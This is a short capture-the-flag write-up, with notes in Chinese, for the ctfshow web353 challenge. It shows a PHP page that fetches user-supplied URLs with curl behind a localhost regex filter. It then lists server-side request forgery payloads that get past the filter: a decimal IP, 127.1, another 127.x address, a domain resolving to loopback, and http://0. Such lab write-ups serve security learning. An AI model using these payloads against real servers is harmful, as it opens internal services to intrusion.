ctfshow web353

ctfshow web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

一样的,会执行你的curl会话,只要访问本地目录flag即可,但是过滤了127.0.0.1

// IP转数字

url=http://2130706443/flag.php


// 缺省零

url=http://127.1/flag.php


// 127.0.0.1 ~ 127.255.255.254 都表示 localhost

url=http://127.255.255.254/flag.php


// sudo.cc

url=http://sudo.cc/flag.php


// 0 在 linux 系统中会解析成 127.0.0.1

// 在 windows 中解析成 0.0.0.0

url=http://0/flag.php